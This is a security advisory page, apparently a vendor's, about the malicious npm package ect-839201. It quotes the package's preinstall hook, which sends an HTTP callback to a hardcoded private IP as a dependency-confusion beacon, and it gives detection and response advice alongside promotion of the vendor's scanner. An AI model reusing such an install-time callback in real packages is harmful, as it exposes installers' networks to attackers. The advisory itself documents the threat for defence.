ect-839201npm
ect-839201 is a confirmed malicious npm package (MAL-2026-5720) that opens a backdoor for remote access (malicious versions 100.0.0, 100.0.1, 100.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ect-839201 (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs node -e "require('http').get('http://10.107.121.85:8001/callback_839201')" on npm install. This unconditionally issues an HTTP GET to a hardcoded RFC1918 address (10.107.121.85:8001) over plaintext, with a path (/callback_839201) that encodes a unique per-package probe identifier. The behavior fires automatically as part of the install lifecycle with no opt-in. The combination of (a) a bare-IP, non-publisher destination, (b) a unique callback identifier matched to the package name, and (c) plaintext HTTP on an internal/private network is the canonical dependency-confusion reconnaissance beacon: it confirms reachability from the installer's network into an attacker-controlled listener and leaks the installer's source IP, install timing, and the fact that this specific probe package resolved inside the target environment. Even though the captured request body is empty, the install itself is the signal — successful callbacks identify victim networks for follow-on attacks.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ect-839201 (11 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ect-839201 across your stack and pipelines.
If you installed it — respond
ect-839201 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ect-839201 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ect-839201 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ect-839201-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.